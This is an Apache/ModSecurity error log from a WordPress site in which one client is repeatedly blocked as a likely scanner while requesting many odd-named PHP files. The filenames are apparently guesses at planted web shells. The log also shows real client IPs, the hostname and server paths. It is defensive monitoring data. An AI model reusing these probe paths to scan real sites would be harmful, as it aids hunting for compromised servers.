[Mon Apr 20 20:11:34.343761 2026] [:error] [pid 11494:tid 11503] [client 172.213.242.226:18271] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jnhddqyz.php"] [unique_id "aeYX9sgko5iFiE8YoyTWtQAAAYc"]
[Mon Apr 20 20:11:34.884775 2026] [:error] [pid 42014:tid 42038] [client 172.213.242.226:13002] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/junvh.php"] [unique_id "aeYX9sek-00-ZI0f1Np6igAAARY"]
[Mon Apr 20 20:11:35.539868 2026] [:error] [pid 11441:tid 11444] [client 172.213.242.226:12959] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/junvh.php"] [unique_id "aeYX98ixByFUvmh319CURgAAAME"]
[Mon Apr 20 20:11:36.204772 2026] [:error] [pid 11441:tid 11451] [client 172.213.242.226:18175] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/junvh.php"] [unique_id "aeYX-MixByFUvmh319CUSAAAAMg"]
[Mon Apr 20 20:11:37.128002 2026] [:error] [pid 11350:tid 11366] [client 172.213.242.226:18178] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/junvh.php"] [unique_id "aeYX-f4EoMBgOJuJnT2gPwAAAAc"]
[Mon Apr 20 20:11:37.630485 2026] [:error] [pid 11350:tid 11364] [client 172.213.242.226:12948] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-220.php"] [unique_id "aeYX-f4EoMBgOJuJnT2gQQAAAAU"]
[Mon Apr 20 20:11:38.261112 2026] [:error] [pid 11350:tid 11365] [client 172.213.242.226:18189] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-220.php"] [unique_id "aeYX-v4EoMBgOJuJnT2gQgAAAAY"]
[Mon Apr 20 20:11:38.811605 2026] [:error] [pid 11494:tid 11508] [client 172.213.242.226:13032] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-220.php"] [unique_id "aeYX-sgko5iFiE8YoyTWuQAAAYw"]
[Mon Apr 20 20:11:39.576605 2026] [:error] [pid 42014:tid 42025] [client 172.213.242.226:18246] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-220.php"] [unique_id "aeYX-8ek-00-ZI0f1Np6jQAAAQk"]
[Mon Apr 20 20:11:40.195787 2026] [:error] [pid 11441:tid 11454] [client 172.213.242.226:18303] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws58.php"] [unique_id "aeYX_MixByFUvmh319CUSwAAAMs"]
[Mon Apr 20 20:11:40.716094 2026] [:error] [pid 11352:tid 11437] [client 172.213.242.226:18085] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws58.php"] [unique_id "aeYX_Gl10mhMSfJ7ir_RxAAAAJc"]
[Mon Apr 20 20:11:41.534227 2026] [:error] [pid 42014:tid 42032] [client 172.213.242.226:18148] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws58.php"] [unique_id "aeYX_cek-00-ZI0f1Np6jgAAARA"]
[Mon Apr 20 20:11:42.478019 2026] [:error] [pid 11494:tid 11498] [client 172.213.242.226:18083] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws58.php"] [unique_id "aeYX_sgko5iFiE8YoyTWuwAAAYI"]
[Mon Apr 20 20:11:43.074508 2026] [:error] [pid 11494:tid 11509] [client 172.213.242.226:18302] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aeYX_8gko5iFiE8YoyTWvgAAAY0"]
[Mon Apr 20 20:11:43.710744 2026] [:error] [pid 11441:tid 11456] [client 172.213.242.226:18159] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aeYX_8ixByFUvmh319CUUAAAAM0"]
[Mon Apr 20 20:11:44.450677 2026] [:error] [pid 11351:tid 11390] [client 172.213.242.226:18255] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aeYYAAN8Z1-vktaI_tPzbwAAAEM"]
[Mon Apr 20 20:11:45.177025 2026] [:error] [pid 42014:tid 42030] [client 172.213.242.226:13006] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aeYYAcek-00-ZI0f1Np6kQAAAQ4"]
[Mon Apr 20 20:11:45.835286 2026] [:error] [pid 6928:tid 6951] [client 172.213.242.226:18082] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vopxx.php"] [unique_id "aeYYAR3y7MHq1iB0qYqn8wAAAVU"]
[Mon Apr 20 20:11:46.330422 2026] [:error] [pid 6928:tid 6940] [client 172.213.242.226:18270] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vopxx.php"] [unique_id "aeYYAh3y7MHq1iB0qYqn9AAAAUo"]
[Mon Apr 20 20:11:46.819633 2026] [:error] [pid 6928:tid 6934] [client 172.213.242.226:18239] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vopxx.php"] [unique_id "aeYYAh3y7MHq1iB0qYqn9gAAAUQ"]
[Mon Apr 20 20:11:47.553113 2026] [:error] [pid 6928:tid 6948] [client 172.213.242.226:18066] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vopxx.php"] [unique_id "aeYYAx3y7MHq1iB0qYqn-QAAAVI"]
[Mon Apr 20 20:11:48.050797 2026] [:error] [pid 6928:tid 6944] [client 172.213.242.226:18161] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byueb.php"] [unique_id "aeYYBB3y7MHq1iB0qYqn_QAAAU4"]
[Mon Apr 20 20:11:48.591966 2026] [:error] [pid 6928:tid 6937] [client 172.213.242.226:18132] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byueb.php"] [unique_id "aeYYBB3y7MHq1iB0qYqn_wAAAUc"]
[Mon Apr 20 20:11:49.217012 2026] [:error] [pid 42014:tid 42034] [client 172.213.242.226:18245] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byueb.php"] [unique_id "aeYYBcek-00-ZI0f1Np6kwAAARI"]
[Mon Apr 20 20:12:43.293883 2026] [:error] [pid 42014:tid 42028] [client 172.213.242.226:18211] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xfun.php"] [unique_id "aeYYO8ek-00-ZI0f1Np6tAAAAQw"]
[Mon Apr 20 20:12:43.818199 2026] [:error] [pid 11441:tid 11444] [client 172.213.242.226:18122] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xfun.php"] [unique_id "aeYYO8ixByFUvmh319CUZgAAAME"]
[Mon Apr 20 20:12:44.374816 2026] [:error] [pid 11351:tid 11397] [client 172.213.242.226:18205] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xfun.php"] [unique_id "aeYYPAN8Z1-vktaI_tPziQAAAEo"]
[Mon Apr 20 20:12:44.959828 2026] [:error] [pid 11351:tid 11398] [client 172.213.242.226:13005] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xfun.php"] [unique_id "aeYYPAN8Z1-vktaI_tPziwAAAEs"]
[Mon Apr 20 20:12:45.482226 2026] [:error] [pid 11352:tid 11433] [client 172.213.242.226:18235] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abpxrnwe.php"] [unique_id "aeYYPWl10mhMSfJ7ir_R2gAAAJM"]
[Mon Apr 20 20:12:45.974556 2026] [:error] [pid 11352:tid 11428] [client 172.213.242.226:12997] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abpxrnwe.php"] [unique_id "aeYYPWl10mhMSfJ7ir_R3AAAAI4"]
[Mon Apr 20 20:12:46.560103 2026] [:error] [pid 11351:tid 11399] [client 172.213.242.226:13037] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abpxrnwe.php"] [unique_id "aeYYPgN8Z1-vktaI_tPzjgAAAEw"]
[Mon Apr 20 20:12:47.056827 2026] [:error] [pid 11441:tid 11450] [client 172.213.242.226:12997] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abpxrnwe.php"] [unique_id "aeYYP8ixByFUvmh319CUaAAAAMc"]
[Mon Apr 20 20:12:47.567013 2026] [:error] [pid 11351:tid 11401] [client 172.213.242.226:18260] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kduhq.php"] [unique_id "aeYYPwN8Z1-vktaI_tPzkAAAAE4"]
[Mon Apr 20 20:12:48.106715 2026] [:error] [pid 11350:tid 11369] [client 172.213.242.226:18117] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kduhq.php"] [unique_id "aeYYQP4EoMBgOJuJnT2gegAAAAo"]
[Mon Apr 20 20:12:48.758686 2026] [:error] [pid 11350:tid 11374] [client 172.213.242.226:13024] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kduhq.php"] [unique_id "aeYYQP4EoMBgOJuJnT2gfAAAAA8"]
[Mon Apr 20 20:12:49.374192 2026] [:error] [pid 42014:tid 42036] [client 172.213.242.226:18188] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kduhq.php"] [unique_id "aeYYQcek-00-ZI0f1Np6twAAARQ"]
[Mon Apr 20 20:12:49.973421 2026] [:error] [pid 42014:tid 42022] [client 172.213.242.226:13019] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-moonka.php"] [unique_id "aeYYQcek-00-ZI0f1Np6uAAAAQY"]
[Mon Apr 20 20:12:50.514828 2026] [:error] [pid 11351:tid 11396] [client 172.213.242.226:18192] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-moonka.php"] [unique_id "aeYYQgN8Z1-vktaI_tPzkwAAAEk"]
[Mon Apr 20 20:12:51.108258 2026] [:error] [pid 11352:tid 11419] [client 172.213.242.226:18241] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-moonka.php"] [unique_id "aeYYQ2l10mhMSfJ7ir_R3gAAAIU"]
[Mon Apr 20 20:12:51.607047 2026] [:error] [pid 11350:tid 11382] [client 172.213.242.226:13017] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-moonka.php"] [unique_id "aeYYQ_4EoMBgOJuJnT2gfwAAABc"]
[Mon Apr 20 20:12:52.146195 2026] [:error] [pid 11351:tid 11404] [client 172.213.242.226:13028] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rogsa.php"] [unique_id "aeYYRAN8Z1-vktaI_tPzlgAAAFE"]
[Mon Apr 20 20:12:52.771582 2026] [:error] [pid 11350:tid 11373] [client 172.213.242.226:18151] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rogsa.php"] [unique_id "aeYYRP4EoMBgOJuJnT2ghAAAAA4"]
[Mon Apr 20 20:12:53.315063 2026] [:error] [pid 6928:tid 6940] [client 172.213.242.226:18115] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rogsa.php"] [unique_id "aeYYRR3y7MHq1iB0qYqoFgAAAUo"]
[Mon Apr 20 20:12:53.838251 2026] [:error] [pid 6928:tid 6951] [client 172.213.242.226:18146] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rogsa.php"] [unique_id "aeYYRR3y7MHq1iB0qYqoGAAAAVU"]
[Mon Apr 20 20:12:54.329554 2026] [:error] [pid 6928:tid 6930] [client 172.213.242.226:18123] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/callback.php"] [unique_id "aeYYRh3y7MHq1iB0qYqoGgAAAUA"]
[Mon Apr 20 20:12:54.829070 2026] [:error] [pid 11351:tid 11393] [client 172.213.242.226:18133] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/callback.php"] [unique_id "aeYYRgN8Z1-vktaI_tPzlwAAAEY"]
[Mon Apr 20 20:12:55.417406 2026] [:error] [pid 6928:tid 6943] [client 172.213.242.226:18069] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/callback.php"] [unique_id "aeYYRx3y7MHq1iB0qYqoHwAAAU0"]
[Mon Apr 20 20:12:55.977514 2026] [:error] [pid 11350:tid 11381] [client 172.213.242.226:18134] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/callback.php"] [unique_id "aeYYR_4EoMBgOJuJnT2ghgAAABY"]
[Mon Apr 20 20:12:56.556994 2026] [:error] [pid 11350:tid 11378] [client 172.213.242.226:18207] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wcoiw.php"] [unique_id "aeYYSP4EoMBgOJuJnT2giAAAABM"]
[Mon Apr 20 20:12:57.291466 2026] [:error] [pid 11350:tid 11360] [client 172.213.242.226:18248] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wcoiw.php"] [unique_id "aeYYSf4EoMBgOJuJnT2giQAAAAE"]
[Mon Apr 20 20:12:57.829752 2026] [:error] [pid 11350:tid 11380] [client 172.213.242.226:18266] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wcoiw.php"] [unique_id "aeYYSf4EoMBgOJuJnT2gigAAABU"]
[Mon Apr 20 20:12:58.541180 2026] [:error] [pid 11350:tid 11365] [client 172.213.242.226:18220] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wcoiw.php"] [unique_id "aeYYSv4EoMBgOJuJnT2gjAAAAAY"]
[Mon Apr 20 21:35:15.970119 2026] [autoindex:error] [pid 11350:tid 11370] [client 74.248.131.114:20363] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 21:35:22.053205 2026] [autoindex:error] [pid 11350:tid 11372] [client 74.248.131.114:20363] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/audio/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 21:35:49.473863 2026] [autoindex:error] [pid 11350:tid 11374] [client 74.248.131.114:20363] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/buttons/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 21:35:57.270583 2026] [:error] [pid 11350:tid 11382] [client 74.248.131.114:20363] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xozx.php"] [unique_id "aeYrvf4EoMBgOJuJnT3FtwAAABc"]
